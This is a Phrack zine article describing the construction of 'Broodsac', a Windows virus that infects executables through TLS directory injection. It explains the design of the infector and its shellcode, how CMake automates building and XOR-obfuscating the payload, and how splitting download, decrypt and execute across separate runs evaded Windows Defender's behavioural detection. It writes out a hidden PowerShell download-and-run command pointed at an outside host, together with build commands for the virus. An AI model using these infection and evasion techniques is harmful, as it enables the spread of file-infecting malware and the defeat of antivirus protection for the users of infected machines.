==Phrack Inc.==

                Volume 0x10, Issue 0x47, Phile #0x09 of 0x11

|=-----------------------------------------------------------------------=|
|=--------------------------=[ Broodsac ]=-------------------------------=|
|=-----=[ A VX Adventure in Build Systems and Oldschool Techniques ]=----=|
|=-----------------------------------------------------------------------=|
|=--------=[ Amethyst Basilisk <[email protected]> ]=----------=|
|=-----------------------------------------------------------------------=|

--[ Table of Contents

    1. Introduction
    2. Planning the Virus
    3. Designing the Virus
    4. Building the Virus
    5. Dealing with Development Hazards
       5.1. The Original Design Fails
       5.2. Antivirus Catches It
    6. Conclusions
    7. Shouts
    8. References
    9. Artifacts

--[ 1. Introduction

There is nothing more thrilling than a successful payload. But in the
pursuit of payloads, we are susceptible to dopamine addiction. And in 
that addiction, we seek shortcuts to get our hit. Indeed, the urgence of 
speed requires us to hunt these shortcuts as well. Just use bash glue. 
Don't worry about code maintainability. I have the compiler, why make 
things more complicated?

It is easy to forget when pursuing our dark arts-- from viral writing to
exploitation-- that in everything we do, we are creating software. And
software gets complicated. Certainly, for shellcoding, it is merely a one-
liner with NASM to create a binary blob of your creation. That's not
complicated at all. But isn't the shellcode going somewhere? C won't let
you simply merge binary blobs into your code. (Not until C23, anyway.) 

And it's not always as easy as concatenating your creation onto your 
executable. What if you want to encrypt the shellcode somehow? And what 
if another program has to handle that shellcode? And that program might 
be the payload of another program in the chain! This doesn't even begin 
to consider what automation your assembly payload might require, such as 
dynamic obfuscation.

Our dark arts are a mess of project management-- payload factories,
matryoshka obfuscation, a plethora of moving parts necessitating
cleverness. It is not to say our quick hacks are not worthy of their
purpose-- they are. But they are more often than not optimized for speed,
not interoperability, maintainability or portability. A good build system,
by sometimes sacrificing short-term speed of development, provides these
things.

Unix users are already familiar with this. One of the oldest build 
systems, GNU Make and the autotools suite, is fundamental to sharing 
and building code on Unix-like platforms. Windows users, however, don't 
have this culture. Everything is Visual Studio projects. And like 
everything Windows, the MSVC build system is a veritable black box 
behind the Visual Studio IDE. The hackers who can wield MSVC's black 
magic to their whim have undoubtedly inspired us with their mindblowingly 
assembled payloads. Lord knows I would love to see SmokeLoader's build 
system[10].

You can think of this article as a cooking recipe. While the virus
technique used here is nowhere near novel ("roy g biv already did it"), 
it is wrapped in techniques and best practices to build any type of virus. 
We will cover the use of a robust build system to construct our virus and
discuss techniques for build systems that bolster our malware development. 
We will also be covering some techniques necessary to circumvent Windows 
Defender, as this is now the baseline we must develop against.

To follow along, grab a copy of Visual Studio with C++ support, CMake
(https://cmake.org) and NASM for Windows (https://nasm.us). To fully
understand this article, you are expected to have a basic understanding 
of PE files.

--[ 2. Planning the Virus

We want to write an executable infector for Windows. To do that, we need 
to break down the moving pieces involved in an executable infector. While
traditional executable infectors have gone out of style due to advances 
in executable security, it can still be done-- especially in the advent 
of developers not being able to afford or care for signing their binaries.
(Hello, Rust!)

At the outset in the abstract, we have two pieces: the *infector* and 
the *infection*. The *infector* is obviously responsible for infecting
executables it finds. The *infection* is simply whatever payload we want 
to inject into various executables. Already, we have a dependency to work
with: naturally, the *infector* relies on the *infection* in the build
system, somehow. We want the infection to be flexible and portable so 
it's as easy as possible to inject into executables. Shellcoding fits 
this purpose perfectly.

For writing quality shellcode, we stick with the C-then-ASM philosophy 
of writing our payload. In Broodsac, we have opted to let the compiler's
optimizer optimize our C code and hand-translated that into an assembly
file. 

While this can be tedious the larger the shellcode gets, we luckily don't 
have to worry about traditional requirements of shellcode as it comes to 
exploitation, since we're targeting an executable, not an exploitable 
buffer. Therefore, we have relatively fewer limits. Additionally, because 
Windows has support for both 32-bit and 64-bit binaries, and being the 
dinosaur it is, 32-bit architecture is still relevant. So payloads for 
both architectures will be necessary.

At the outset of our plan, our virus hierarchy looks like this:

   + broodsac
        + infection
            + ASM
                 + 32
                 + 64
            + C

The infection is purely a necessity of the infector, and as such, should 
be contained within its directory as a dependency. We should provide 
ourselves some external ability to compile the assembly payloads into 
their own binary for testing purposes. This means, in the abstract, we 
have roughly four binaries to work with-- the infector, the 32-bit ASM, 
the 64-bit ASM, and the C payload. Our infector should merely only rely 
on the assembly payloads, so we know we should somehow connect these 
pieces at the outset to our infector build.

Having the projects individually separated this way makes the moving 
pieces easier to manage. Disaster, so to speak, is relatively contained 
to the individual units, organized and in their place. From the outside--
especially when accustomed to a hack-fast lifestyle-- you would not be
blamed for seeing this organization as mere masturbation. Again, why 
bother when I can just stick everything in the same folder and issue 
compilation commands where I deem fit?

Demons lurk in your code. That's why. They will snap out and pull you 
under when you least expect it, splashing red on your screen, spewing 
Stoustrup's nightmare inheritance, demanding refactoring for your sinful 
C. Being organized and compartmentalized in your endeavors gives you the 
territorial high ground in the battle of bugs. Being prepared for 
something to go wrong turns these demons into mere irritants.

Constructing a build system around your virus exposes the pain-points 
when and where things go wrong, allowing you to quickly and elegantly 
attend to the problem. It also acts as a functional, engineerable glue 
to wrap around your build. The more complex your virus gets, the more a 
solid build system becomes essential, freeing us from the chains of 
uncreative compiler corporations.

--[ 3. Designing the Virus

We now have the abstract design of all the pieces of our virus. Next we
need to fill in the blanks! We have two questions we need to answer:

    + How should our virus infect the executable?
    + What should our viral payload do?

The first question was answered initially-- naively-- with code caves and
PE file entrypoint redirection. Entrypoint redirection is a technique as
old as EXE infections[1]. Unfortunately, code caves in executables aren't
frequently in a size capable of handling the beast that is Windows
shellcode. On average, you get around 200 bytes. Suitable for a Linux
shellcode, not very good for a Windows shellcode.

After some thinking, TLS directory injection[2] was settled upon. The TLS
directory-- or Thread Local Storage-- is one of many directories within a
PE file. It is responsible for ultimately managing thread memory storage
tactics within the given executable. A notable trait of the TLS directory
is initialization callbacks. There can be many, and they're iteratively
called on process startup. In other words, the TLS directory takes
precedence over the main routine, as the TLS directory initialization is
part of the PE loading process. Remember this last part-- it will bite us
in the ass later.

There is a matter of how our TLS section gets inserted into the binary. 
We have simply opted to insert a new section, as we can provide a 
guarantee that the section will be executable and writable, as opposed 
to containing other metadata such as program resources. If we wanted to 
be stealthier about the infection, we could control for executable 
sections and apply the 29A technique[3] of expanding the last section 
in the executable. Naturally, the trade-off for stealth here will be to 
reduce potential attack surface and-- perhaps intentionally-- increasing 
complexity of detecting the infection. The power is yours.

We want executable targets. Where do we find them? Surprisingly, in the
user's home directory. Gone are the days of every program installing 
itself in the Program Files directory, now is the dawn of AppData and the 
user's document folder where they unzip various packages of unsigned 
executables. We can simply recursively iterate the user's home directory 
for targets.

As for what it should do on infection? I'm a particular fan of the 
Desktop Pet project[4], formerly known as eSheep in the 90s. An 
appropriate payload to send up an infection technique from the 90s. 
It provides a great visual if the payload executes for testing purposes. 
Our payload should simply download (if the file doesn't exist) and execute 
this cute little sheep onto the user's desktop. Who would oppose such 
adorable software augmenting executables with a delightful animal friend? 
A simple download-exec of this payload will be perfect.

--[ 4. Building the Virus

Quick and dirty, to build Broodsac, uudecode the artifacts in section 9 
to get the tarball, extract it, and run the following:

    $ cd broodsac
    $ mkdir build
    $ cd build
    $ cmake ../ -A x64
    $ cmake --build ./ --config Release

Naturally, I am assuming you won't be foolish enough to run the result on 
a system you don't want tampered with. Unless you *want* sheep friends in
your executables, then by all means.

While you are building your virus, you are undoubtedly going to encounter
bugs. Considering we are building software, we should borrow from
software's philosophy of creating and performing tests. These do not have
to be formal unit tests, per se, where functionality is verified at
individual code points, but they should somehow test the functionality 
of your virus. Considering the volatility of the undefined behavior of 
targets we work with in our dark development, you should absolutely 
build with tests in mind at the forefront.

There are three key questions we need to consider for our testing 
purposes:

    + Does the payload work?
    + Does the infector successfully infect?
    + Does the infection succeed without disrupting original execution?

The first question has an actionable task for us: how do we test this?
Naturally, we don't have to do it programatically-- we simply need to run
the payload in its many forms to see if it successfully launches a cute
little sheep. C and Assembly have various development pitfalls that will
become apparent during this simple testing process. To build and test our
64-bit payload, for example, we can simply do this:

    $ cd infection/asm/64
    $ mkdir build
    $ cd build
    $ cmake ../ -DINFECTION_STANDALONE=ON -A x64
    $ cmake --build ./ --config Release
    $ ./Release/infection_asm_64.exe

If our payload succeeds, we are rewarded with a cute little sheep. 
A simple test.

This is similar to the configure/make process on Linux. CMake takes the
CMakeLists.txt in the target directory and builds the configuration for
your compilation tools necessary in order to perform a build. We have
configured our ASM files to be compileable as either standalone binaries 
for individual testing, or as static libraries to be included with the 
infector binary.

A static library was chosen as the method of merging our payloads into our
binary because it's simple and elegant, since the payload's architecture
will match. Instinctively, we see shellcode as a unit to be stored away, 
to be converted to a hex string and stashed away in some C code. So we 
wind up doing creative things with it, as to us, it is merely a blob of 
data to be wrangled into something. We tend to forget that the shellcode 
can be its own individual code unit.

But with a build system on your side, you can augment the way your
shellcode comes out at the compilation stage. After doing various build
customizations to our shellcode payload, in our infector binary's CMake
file, we include this and the 32-bit version this way:

    add_subdirectory(${PROJECT_SOURCE_DIR}/infection/asm/32)
    add_subdirectory(${PROJECT_SOURCE_DIR}/infection/asm/64)

    add_executable(broodsac WIN32 main.c)
    target_link_libraries(broodsac infection_asm_32 infection_asm_64)

In a rather clean way, with a simple set of "extern" keywords in the
infector's main.c file, we have included our shellcode payloads into the
main binary. While not shown yet, in addition to this process, we have
managed to automate a step of encrypting the strings within the payload
code, so every time our build is executed, the strings are re-encrypted 
and re-assembled in the infector executable. 

We have avoided the tedium of manually converting our shellcode into an 
array of some kind and even added an obfuscation step along the way. 
The beauty of this method is that it avoids the unseen hazards that tend 
to spring up from the speedy solutions we're used to. And at the end of 
the day: it's just good software development practice.

Let's get back to our questions. The other questions, while having the 
same action item, have a more complicated answer. We need to test and 
analyze the infected executables to verify and debug infections. So we 
need to enumerate what we need to test based on our design intent.

Because we're dealing with the TLS directory, we are dealing primarily 
with *virtual addresses*, as opposed to RVA and offsets. Virtual addresses 
tend to imply the need for relocations within the binary. This is 
absolutely something we need to deal with as an executable infector-- with 
the ubiquity of Address Space Layout Randomization (aka /DYNAMICBASE), 
we would be stupid to not consider modifying the relocation directory of 
a target executable in the case of infection.

Thus, we have four states of configuration to test infection against:

    + no tls directory present, no relocation directory present
    + no tls directory present, relocation directory present
    + tls directory present, no relocation directory present
    + tls directory present, relocation directory present

In addition to this, we need to consider targeting the 32-bit architecture
as well, creating a total of 8 binary configurations to test against! This
brings the total code projects in our virus project to 12. With a good
build system, we can construct all these test binaries rather easily:

    $ cd infectables
    $ mkdir build32 build64
    $ cd build32
    $ cmake ../ -A Win32
    $ cd ../build64
    $ cmake ../ -A x64

The build scripts can basically follow a folder hierarchy and build
multiple projects contained within, which is what's happening here. 
We now have two configured build environments-- one for 32-bit and one 
for 64-bit.

    $ cd build32
    $ cmake --build ./ --config Release
    $ cd ../build64
    $ cmake --build ./ --config Release

This will place all the binaries in the Release directory within the 
build environment. They can then be targeted for infection by our 
infector executable for testing purposes. Like the compiler at the 
command line, we can configure various switches to define CMake headers. 
We can configure our infector to be aware of a directory containing our 
infectable executables:

    $ mkdir build
    $ cd build
    $ cmake -DBROODSAC_DEBUG=ON -DBROODSAC_INFECTABLES="infectables" \
      -A x64 ../

This command effectively builds Broodsac in debug mode. Rather than
targeting the user's home directory, it will instead target the infectable
directory, where our test programs are currently built. By running 
Broodsac in this state, we can easily verify the state of infection and 
its corresponding payload. And this is of utmost importance-- the demons 
that hit the hardest, lurk the lowest. Robust testing will help to 
eradicate them.

--[ 5. Dealing with Development Hazards

The result of the virus you see here is a labor of love, of many hours
spent debugging, testing, verifying, fixing and refactoring. But when 
you see the final product, what you don't see are those little steps 
along the way that ultimately built the product before you. So it's hard 
to appreciate the struggle, the fight that comes with software 
development. It is, for the most part, an individual journey that 
everyone who writes code wanders on.

It is very easy to laugh at a good, terrible bug. It amazes us when stupid
bugs seem to have a persistent lifetime, just waiting to be discovered by
the next lucky actor. But bugs are part of the life-cycle of software,
whether exploitable or not, and as you cannot escape the gravitational 
pull of software development as a virus writer, you may as well embrace 
its best practices.

This section focuses on two pivotal points of critical failure in the
process of developing this virus: a point when an initial payload idea
failed at the last minute, and the point when antivirus seemed to start
detecting our infections.

--[ 5.1 The Original Design Fails

Do you remember when I said the TLS directory would come back to bite us 
in the ass? How did having a robust build system help us with that?

Originally, our payload was a very simple, sensible program: import 
GetFileAttributes, URLDownloadToFileA and ShellExecuteA. This would 
essentially be all we needed to download our sheep and run it on the 
target system. To help explain the chaos we mitigated, let's break down 
the steps we need to generate and test our final payload, the infector:

    1. compile the C infection
    2. test the C infection
    3. translate to assembly on 32-bit and 64-bit architectures
    4. compile the assembly (2x)
    5. test the assembly (2x)
    6. incorporate the shellcode into our infector
    7. compile the infector
    8. test the infector
    9. verify the infections succeed

When we fully enumerate the steps needed to build a sound virus, we can
appreciate the simplification a build system provides a complex ecosystem.
Because at any given step in this process, something can fail. At any 
given point in the process, if there *is* failure, we will have to restart 
at a certain point. The more time it takes to resume where we failed, the 
more time that is wasted. And not being clear from an organizational 
standpoint where you need to go to restart is a time waster. A good build 
system saves you time, a very precious resource.

In this case, it was discovered that ShellExecuteA and URLDownloadToFileA
were failing all the way at step 9. Ass status: bitten. And look at when 
it chose to bite us-- testing, rather than deployment. Why was it bitten? 
Our infection technique of TLS injection.

Due to choosing to perform TLS injection on the binary, we were tempted by
the fact that we got precedence over the entrypoint of the infected
executable. But this means we're currently executing in the context of the
executable loader. This means our infected executable is not yet fully
loaded. In particular to our conundrum, *threads* are not yet fully
initialized. It was observed when ShellExecuteA and URLDownloadToFileA 
were executed within the context of a TLS directory callback, they would 
hang. It was noted, too, that the process attempted to create a thread 
before it hung. This likely meant we could not use any functions which 
wound up spawning threads.

The payload was changed to something slightly less conventional:
CreateProcessA. While not unconventional for our payload program, the way
we eventually went about downloading the payload certainly was.
CreateProcessA eventually calls NtCreateProcess, a function of ntdll.dll
which ultimately culminates in a kernel syscall. This would undoubtedly 
be thread-safe in our TLS directory. So how did we eventually download 
our payload? A call to Powershell.

Certainly goofy for a shellcode payload to make an external call to
Powershell when the API is at your fingertips, isn't it? So is the nature
of hacking-- when faced with a challenge, we heed the call with non-
standard solutions, in spite of our opinions, when it simply works.

Nonetheless, this solution required a significant rewrite of the code. 
The C payload would need to be rewritten, recompiled, translated into 
assembly, those assembly files compiled, and stuck back into our infector.
Essentially, we are forced to go back to the beginning of our steps
enumerated and work our way back to our infector. That's a lot of time, and
even more steps to take without the simplification provided by a build
system!

But with everything glued together, the only time we are wasting is simply
the equivalent of raking the sand in our zen garden: coding and analyzing.
All because our build system makes our complicated abstract verification
steps relatively mindless:

    $ cd infection/c/build
    $ cmake --build ./
    $ ./Debug/infection_c.exe # any sheep? try again
    $ cmake --build ./ --config Release # for translating to asm
    $ cd ../../asm/32/build
    $ cmake --build ./
    $ ./Debug/infection_asm_32.exe # any sheep? try again
    $ cd ../../64/build
    $ cmake --build ./
    $ ./Debug/infection_asm_64.exe # any sheep? try again
    $ cd ../../../../build # footgun: are you debug configured?
    $ cmake --build ./
    $ ./Debug/broodsac.exe # at least you just get sheep if you footgun

Every step where something could functionally go wrong is isolated into 
its own place, manageable in their own regards. Each action we need to 
create our virus, from payload to delivery, is instrumented and flows 
smoothly between one another. When something goes wrong at any point in 
this chain, we know exactly where to restart, and can quickly act and 
tackle the issue.

It's one thing to be agile when it comes to mitigating the demons of bugs,
though, but what of the demons of emergency feature requests? It is not
merely a push of management that inspires such spikes in development, but
of surprise necessity.

--[ 5.2 Antivirus Catches It

It was incredibly amusing to me when I noticed the sheep being detected as
malware. Curious, because the sheep itself was technically benign-- the
infector and the infection were actually the malware. Initially, I
whitelisted it in Windows Defender while I was working and didn't really
think anything of it, I'll fix it later. Eventually, I had to face the
music and figure out why my virus was being detected, even if the sheep 
was curiously benign.

The hints we were receiving from Windows Defender was that it was some 
kind of script that triggered it, and that the signature it was hitting 
on was called "Trojan-Script/Wacatac.B!ml." Some research on the signature 
told us absolutely nothing, as procedurally generated signatures are wont 
to do. It did manage to tell us that everyone is pissed that all sorts of 
random benign executables were being flagged as Wacatac. We're being taken 
down by a false positive? Positively embarrassing.

Anyway, it seemed clear that with the script hint that it was triggering 
on our Powershell one-liner. I didn't even bother to obfuscate the command 
in any way whatsoever, so it's no wonder it got caught in the end. We
later confirmed thanks to some Windows Defender signature research[5] 
that our download string was absolutely in there, somewhere, so surely 
this was the culprit. This means, now, we would have to obfuscate it. 

Sure, we could just do it one-and-done and hardcode it into the assembly 
files, but where's the fun in that? They'll just flag the encrypted blob 
and call it a day! Where's the flexibility in that? And what if I need to 
change the eventual command entirely? How can I make this as painless as 
possible for me and others who want to transform this code?

The beauty of a good build system is an ability to humbly offload build
commands to another process at specific points in the build. Let's look
at the code in our payloads which encrypts the strings:

    add_custom_command(TARGET infection_asm_64
      PRE_BUILD
      COMMAND powershell ARGS
      -ExecutionPolicy bypass
      -File "${CMAKE_CURRENT_SOURCE_DIR}/../strings.ps1"
      -payload_program "\\??\\C:\\ProgramData\\sheep.exe"
      -payload_command "sheep"
      -download_program "\\??\\C:\\Windows\\System32\\WindowsPowerShell\
    \\v1.0\\powershell.exe"
      -download_command "powershell -ExecutionPolicy bypass \
    -WindowStyle hidden \
    -Command \"(New-Object System.Net.WebClient).DownloadFile(\
    'https://amethyst.systems/sheep.dat', 'C:\\ProgramData\\sheep.exe')\""
      -output "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>/infection_strings.asm"
      VERBATIM)

Powershell was chosen simply because it's easier to work with than the
oldschool CMD. A simple script was created which transformed the many
strings we needed to encrypt, chooses a random key, then does the
traditional xor-encrypt on the string. The script produces a NASM include
file and dumps it into the binary directory of the build system--
essentially the catch-all directory for any generated artifacts. We then
include that directory in the assembler directives so our assembly files
can see it:

    target_include_directories(infection_asm_64 PUBLIC
      "${CMAKE_CURRENT_SOURCE_DIR}"
      "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>")

As creatives whose canvas is questionable machine code, we can no doubt
see the attractiveness and capability that this brings. If you're really
feeling saucy, you can even mutate COFF objects and incorporate them with
specific library configurations via CMake as well! Mucking around with
object files directly would look something like this:

    add_library(obfuscateme STATIC obfu.c)
    add_custom_command(TARGET obfuscateme
    PRE_LINK COMMAND obfuscate ARGS
    "${CMAKE_CURRENT_BINARY_DIR}/obfuscateme.dir/$<CONFIG>/obfu.obj")
    add_executable(virus main.c)
    target_link_libraries(virus obfuscateme)

What these simple four lines wind up doing is compiling a set of
functionality that needs to be obfuscated, calling the obfuscator on our
compiled object file, which is then reincorporated into our build process
at the linking stage, then adding the obfuscated code as a library
dependency of the main virus. Whenever the virus target is called to be
compiled, the functionality will be obfuscated and incorporated into our
code automatically. Fundamentally, if you can call an external command to
generate anything as part of your build process, the sky's the limit with
what you can incorporate into your program.

As exciting as the implications of these particular capabilities are, our
thought to mask the signatures we thought we were hitting on was not
sufficient. See, as the Defender signature research[5] demonstrates, there
are multiple types of signatures to deal with, and according to
DefenderCheck[6] and the slightly more advanced ThreatCheck[7], I was not
hitting on static signatures. Indeed, digging into the guts of the threat
names in the defender signature database proved relatively fruitless for
hints on how to evade-- there was a static signature algorithm that wasn't
quite coherent on how it was being scanned and, more importantly, a thing
called a "NID."

A NID, in this case, appears to identify something within the Network
Realtime Inspection Service.[8] Probably some sort of metadata information
about certain behavior. This means our signatures were likely triggering
on a behavioral signature! How could we get around this?

Naively, having not run into this before, we threw random shit at the wall
to see if it worked. Hell's Gate? The Network Realtime Inspection Service
wasn't exactly an EDR, so naturally, it didn't work. Not to mention, with
Microsoft's unique position on the Windows landscape (they are the dungeon
master), attempting to evade EDR just isn't nearly deep enough. But for 
the sake of completeness of potential evasions, it was left in Broodsac's
payload. (The Hell's Gate implementation consists of direct syscalls, not
indirect syscalls, so it still could use some work.)

Fundamentally, a behavioral signature relies on chaining certain actions
together to declare something as potentially nasty. Let's step through 
what our payload essentially does that could get flagged as potentially
malicious:

    + download an executable
    + perhaps decrypt the executable
    + execute the executable

Frankly I see nothing wrong with this, but apparently Microsoft disagrees!

A funny quirk about behavioral analysis, though, is that it relies on
identifying the behavior of a given execution context, not the sum of its
executions. In order for behavioral analysis to succeed, the bad behaviors
which happen in combination need to happen within the same execution
context. If we split the three tasks above into three separate execution
contexts-- download, decrypt and execute-- will this be sufficient to
bypass the behavioral detection?

Yes! While I did not reverse-engineer NisSrv.exe to see the why's of why I
evaded, the theory of splitting up tasks across execution contexts
succeeded in bypassing Defender. The payload thus evolved into an
interesting multistage payload. The user would have to run the infected
executable multiple times before a sheep would appear. This would have
the added benefit of confusing stealth. Where is the sheep coming from?
Why does it keep happening when I run this program? Baffling! But 
adorable. In this way, Broodsac lives up to the name of the multi-staged 
worm it was named after, the green-banded broodsac.[9]

Our zen garden is tended, and ready to be shared, for others to meditate
upon and ponder for their own gardens. For that meditation, the various
code objects contained in the tarball attached to this article have been
annotated with comments to explain the individual code areas and what
they're doing. Naturally, the complexity of the dinosaur that is the PE
format comes with annoying, disgusting tricks and habits that make one
ashamed of their code in the first place. I apologize on Mark Zbikowski's
behalf.

--[ 6. Conclusions

It is without a doubt that the strange developmental anomalies you see 
within wild samples of malware are the byproduct of some sort of build 
system. SmokeLoader's use of encrypted functions is certainly not a 
feature of the MSVC compiler[10]. But even a nasty rewrite of a C-file 
being dumped into a directory for an IDE to compile, while quick and dirty 
as we hackers love to do, would technically count as a build system. After 
all, the Visual Studio IDE is merely a shell for the build system that is 
MSVC. But as virus writers, we are still technically engineers at the end 
of the day. We long for the beautiful solution to the problem. 
We ultimately want our own little zen garden to tend to.

The beauty of CMake in particular is in the fact that it's cross-platform. 
So if you have code-- for example, an obfuscation engine-- that is capable 
of being used on multiple platforms, CMake can be used to make building 
the project on each platform relatively painless. Just like how CMake 
wrangles MSVC, it can also wrangle the complex build environment that is 
GNU Make. Many other build targets are supported-- but some not as fully 
as MSVC and GNU. Exotic targets may have some difficulty.

I hope I have made a good argument for incorporating build systems into
your payload development. While we can certainly get by with surface shell
scripts, wouldn't it be wonderful to get into the guts of the machine at
the linker level? Linux developers have that privilege, why not liberate
that access on Windows? After all, we're all effectively the demons of our
target operating systems-- we lurk at the lowest level of the machine, and
we love it here.

--[ 7. Shouts

0x6d6e647a for editing, dc949 for being family, slop pit for memes and
hardchats.

--[ 8. References

[1]: 40Hex #8: An Introduction to Nonoverwriting Virii, Part II: EXE
     Infectors,
     https://amethyst.systems/zines/40hex8/40HEX-8.007.txt
[2]: 29A #6: W32.Shrug, by roy g biv,
     https://amethyst.systems/zines/29a6/29A-6.615.txt
[3]: 29A #2: PE infection under Win32,
     https://amethyst.systems/zines/29a2/29A-2.3_1.txt
[4]: https://github.com/Adrianotiger/desktopPet
[5]: https://github.com/commial/experiments/tree/master/windows-defender
           /VDM
[6]: https://github.com/matterpreter/DefenderCheck
[7]: https://github.com/rasta-mouse/ThreatCheck
[8]: https://techcommunity.microsoft.com/t5
           /security-compliance-and-identity
           /enhancements-to-behavior-monitoring-and-network-inspection
           /ba-p/247706
[9]: https://en.wikipedia.org/wiki/Leucochloridium_paradoxum
[10]: https://www.sentinelone.com/blog
           /going-deep-a-guide-to-reversing-smoke-loader-malware/,
           see "Decoding the Buffer"


--[ 9. Artifacts

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end

|=[ EOF ]=---------------------------------------------------------------=|